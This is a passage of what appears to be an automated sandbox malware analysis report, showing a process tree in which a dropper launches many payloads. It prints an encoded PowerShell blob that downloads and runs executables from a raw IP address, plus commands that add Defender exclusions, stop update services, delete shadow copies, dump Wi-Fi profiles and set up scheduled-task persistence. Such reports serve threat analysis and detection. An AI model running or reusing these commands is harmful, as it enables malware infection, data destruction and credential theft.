AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AWQBlAGwAbABvAHcALgBlAHgAZQAnACwAIAA8ACMAdgBqAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB6AGMAcAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB1AGIAZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQApADwAIwB3AGwAZgAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AYQB2AGQAaQBzAGEAYgBsAGUALgBiAGEAdAAnACwAIAA8ACMAZAB3AGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGQAcwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB5AGwAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBBAHYAZABpAHMALgBiAGEAdAAnACkAKQA8ACMAcABmAG0AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMgAwADkALgAxADYAMAAuADcAMAAvAEwAaQBjAGUAbgBzAGUAQwBoAGUAYwBrAGUAcgAuAGUAeABlACcALAAgADwAIwBiAHMAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAdgBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHMAYQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApACkAPAAjAHEAdQBzACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIAMAA5AC4AMQA2ADAALgA3ADAALwBQAEwAVgAuAGUAeABlACcALAAgADwAIwBrAGcAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHMAagB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAYgBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFAATABUAGUAcwB0AC4AZQB4AGUAJwApACkAPAAjAGEAaQBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGYAeQBqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB4AHEAbQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQA8ACMAcwB2AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdgBkAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAZwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEEAdgBkAGkAcwAuAGIAYQB0ACcAKQA8ACMAagBpAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaQByAG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAdwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApADwAIwB4AHcAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBpAGMAZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwBnAGgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABMAFQAZQBzAHQALgBlAHgAZQAnACkAPAAjAHoAZgBsACMAPgA="
        5⤵
        
        PID:33016
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 76340 -s 268
      4⤵
      Program crash
      PID:36560
- - C:\Users\Admin\Desktop\Files\System.exe
    "C:\Users\Admin\Desktop\Files\System.exe"
    3⤵
    PID:33432
- C:\Users\Admin\Desktop\4363463463464363463463463.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1052
- - C:\Users\Admin\Desktop\Files\pei.exe
    "C:\Users\Admin\Desktop\Files\pei.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:1652
  - - C:\Users\Admin\AppData\Local\Temp\1972015818.exe
      C:\Users\Admin\AppData\Local\Temp\1972015818.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:2580
- - C:\Users\Admin\Desktop\Files\2.exe
    "C:\Users\Admin\Desktop\Files\2.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:4612
- - C:\Users\Admin\Desktop\Files\yoyf.exe
    "C:\Users\Admin\Desktop\Files\yoyf.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5224
- - C:\Users\Admin\Desktop\Files\v7wa24td.exe
    "C:\Users\Admin\Desktop\Files\v7wa24td.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - outlook_office_path
    - outlook_win_path
    PID:5424
  - - C:\Users\Admin\AppData\Local\dp3s81isgn\tor\tor-real.exe
      "C:\Users\Admin\AppData\Local\dp3s81isgn\tor\tor-real.exe" -f "C:\Users\Admin\AppData\Local\dp3s81isgn\tor\torrc.txt"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:3496
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5768
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:5720
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6092
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:5312
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      PID:5704
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:1012
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:1496
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:4404
- - C:\Users\Admin\Desktop\Files\anticheat.exe
    "C:\Users\Admin\Desktop\Files\anticheat.exe"
    3⤵
    PID:1832
- - C:\Users\Admin\Desktop\Files\o.exe
    "C:\Users\Admin\Desktop\Files\o.exe"
    3⤵
    PID:4404
- - C:\Users\Admin\Desktop\Files\build_2024-07-25_20-56.exe
    "C:\Users\Admin\Desktop\Files\build_2024-07-25_20-56.exe"
    3⤵
    PID:5364
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\Desktop\Files\build_2024-07-25_20-56.exe" & rd /s /q "C:\ProgramData\IDHIEGIIIECA" & exit
      4⤵
      PID:6888
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        5⤵
        Delays execution with timeout.exe
        
        PID:7740
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5364 -s 1972
      4⤵
      Program crash
      PID:7536
- - C:\Users\Admin\Desktop\Files\payload.exe
    "C:\Users\Admin\Desktop\Files\payload.exe"
    3⤵
    PID:6060
- - C:\Users\Admin\Desktop\Files\tdrpload.exe
    "C:\Users\Admin\Desktop\Files\tdrpload.exe"
    3⤵
    PID:3828
  - - C:\Windows\sysppvrdnvs.exe
      C:\Windows\sysppvrdnvs.exe
      4⤵
      PID:3592
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        
        PID:5988
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6136
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        5⤵
        
        PID:6112
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:1796
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:6072
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:5876
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        
        PID:5680
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        6⤵
        Launches sc.exe
        
        PID:6292
    - - C:\Users\Admin\AppData\Local\Temp\929016585.exe
        
        C:\Users\Admin\AppData\Local\Temp\929016585.exe
        5⤵
        
        PID:74076
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:48300
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:10220
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:76988
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:31440
    - - C:\Users\Admin\AppData\Local\Temp\232255849.exe
        
        C:\Users\Admin\AppData\Local\Temp\232255849.exe
        5⤵
        
        PID:26620
    - - C:\Users\Admin\AppData\Local\Temp\1083216912.exe
        
        C:\Users\Admin\AppData\Local\Temp\1083216912.exe
        5⤵
        
        PID:31532
- - C:\Users\Admin\Desktop\Files\6.exe
    "C:\Users\Admin\Desktop\Files\6.exe"
    3⤵
    PID:1336
- - C:\Users\Admin\Desktop\Files\zx.exe
    "C:\Users\Admin\Desktop\Files\zx.exe"
    3⤵
    PID:4612
  - - C:\Users\Admin\Desktop\Files\zx.exe
      "C:\Users\Admin\Desktop\Files\zx.exe"
      4⤵
      PID:6208
- - C:\Users\Admin\Desktop\Files\lummetc.exe
    "C:\Users\Admin\Desktop\Files\lummetc.exe"
    3⤵
    PID:6300
- - C:\Users\Admin\Desktop\Files\CoronaVirus.exe
    "C:\Users\Admin\Desktop\Files\CoronaVirus.exe"
    3⤵
    PID:6508
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:8040
    - - C:\Windows\system32\mode.com
        
        mode con cp select=1251
        5⤵
        
        PID:10444
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:46144
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:32960
    - - C:\Windows\system32\mode.com
        
        mode con cp select=1251
        5⤵
        
        PID:35180
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:13976
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
      4⤵
      PID:34112
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
      4⤵
      PID:34360
- - C:\Users\Admin\Desktop\Files\41m98slk.exe
    "C:\Users\Admin\Desktop\Files\41m98slk.exe"
    3⤵
    PID:6148
- - C:\Users\Admin\Desktop\Files\install_lodop32.exe
    "C:\Users\Admin\Desktop\Files\install_lodop32.exe"
    3⤵
    PID:5248
- - C:\Users\Admin\Desktop\Files\Pichon.exe
    "C:\Users\Admin\Desktop\Files\Pichon.exe"
    3⤵
    PID:6516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Loli169.bat" "
      4⤵
      PID:7552
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic diskdrive get Model
        5⤵
        
        PID:7620
    - - C:\Windows\system32\findstr.exe
        
        findstr /i "DADY HARDDISK QEMU HARDDISK WDC WDS100T2B0A"
        5⤵
        
        PID:7628
- - C:\Users\Admin\Desktop\Files\cleanup_tool.exe
    "C:\Users\Admin\Desktop\Files\cleanup_tool.exe"
    3⤵
    PID:7400
- - C:\Users\Admin\Desktop\Files\me.exe
    "C:\Users\Admin\Desktop\Files\me.exe"
    3⤵
    PID:7812
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\Desktop\..\360Downloads\Pester.bat
      4⤵
      PID:10424
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 4 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:46704
- - C:\Users\Admin\Desktop\Files\CnyvVl.exe
    "C:\Users\Admin\Desktop\Files\CnyvVl.exe"
    3⤵
    PID:7752
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:6272
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7752 -s 880
      4⤵
      Program crash
      PID:10088
- - C:\Users\Admin\Desktop\Files\AdaptorOvernight.exe
    "C:\Users\Admin\Desktop\Files\AdaptorOvernight.exe"
    3⤵
    PID:34248
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit
      4⤵
      PID:13644
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:37016
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        5⤵
        
        PID:14072
- - C:\Users\Admin\Desktop\Files\14082024.exe
    "C:\Users\Admin\Desktop\Files\14082024.exe"
    3⤵
    PID:36792
- - C:\Users\Admin\Desktop\Files\file.exe
    "C:\Users\Admin\Desktop\Files\file.exe"
    3⤵
    PID:97060
  - - C:\ProgramData\tst\remcos.exe
      "C:\ProgramData\tst\remcos.exe"
      4⤵
      PID:65312
    - - \??\c:\program files (x86)\internet explorer\iexplore.exe
        
        "c:\program files (x86)\internet explorer\iexplore.exe"
        5⤵
        
        PID:69588
- - C:\Users\Admin\Desktop\Files\drchoe.exe
    "C:\Users\Admin\Desktop\Files\drchoe.exe"
    3⤵
    PID:12956
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:53444
- - C:\Users\Admin\Desktop\Files\newbundle2.exe
    "C:\Users\Admin\Desktop\Files\newbundle2.exe"
    3⤵
    PID:26488
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    3⤵
    PID:13088
- - C:\Users\Admin\Desktop\Files\Update.exe
    "C:\Users\Admin\Desktop\Files\Update.exe"
    3⤵
    PID:10204
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:89868
- C:\Users\Admin\Desktop\4363463463464363463463463.exe
  "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3604
- - C:\Users\Admin\Desktop\Files\explorer.exe
    "C:\Users\Admin\Desktop\Files\explorer.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:2748
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\explorer.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3044
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5312
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\explorer.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5680
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5984
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "explorer" /tr "C:\ProgramData\explorer.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1648
- - C:\Users\Admin\Desktop\Files\SingerJudy.exe
    "C:\Users\Admin\Desktop\Files\SingerJudy.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:4960
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c move Attacked Attacked.bat & Attacked.bat
      4⤵
      System Location Discovery: System Language Discovery
      PID:2680
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:2320
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5128
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:5924
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5932
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 347861
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5284
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "systemadaptermeetingskenneth" Grow
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5260
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Officer + ..\Essays + ..\Cool + ..\Prompt + ..\Itunes G
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5236
    - - C:\Users\Admin\AppData\Local\Temp\347861\Councils.pif
        
        Councils.pif G
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5128
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        
        PID:5712
- - C:\Users\Admin\Desktop\Files\XClient.exe
    "C:\Users\Admin\Desktop\Files\XClient.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    PID:1540
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\Users\Admin\AppData\Roaming\System.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:688
- - C:\Users\Admin\Desktop\Files\aa.exe
    "C:\Users\Admin\Desktop\Files\aa.exe"
    3⤵
    PID:5504
- - C:\Users\Admin\Desktop\Files\WinRarInstall.exe
    "C:\Users\Admin\Desktop\Files\WinRarInstall.exe"
    3⤵
    PID:3764
  - - C:\Users\Admin\AppData\Local\Temp\winrar-info.exe
      "C:\Users\Admin\AppData\Local\Temp\winrar-info.exe"
      4⤵
      PID:2680
  - - C:\Users\Admin\AppData\Local\Temp\winrar-x64-701ru.exe
      "C:\Users\Admin\AppData\Local\Temp\winrar-x64-701ru.exe"
      4⤵
      PID:5312
- - C:\Users\Admin\Desktop\Files\ConsoleApp3.exe
    "C:\Users\Admin\Desktop\Files\ConsoleApp3.exe"
    3⤵
    PID:5844
- - C:\Users\Admin\Desktop\Files\psfei0ez.exe
    "C:\Users\Admin\Desktop\Files\psfei0ez.exe"
    3⤵
    PID:8308
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36696
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:17484
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:15296
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:44604
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:6160
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36412
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:20100
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:17072
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:19036
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:19176
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:19048
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:17372
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:35744
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:16616
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36200
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:16864
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:17264
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:19968
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36304
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36292
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36244
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36232
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:17104
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:7596
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:5548
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:18632
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36144
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:7580
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:36052
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:18208
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
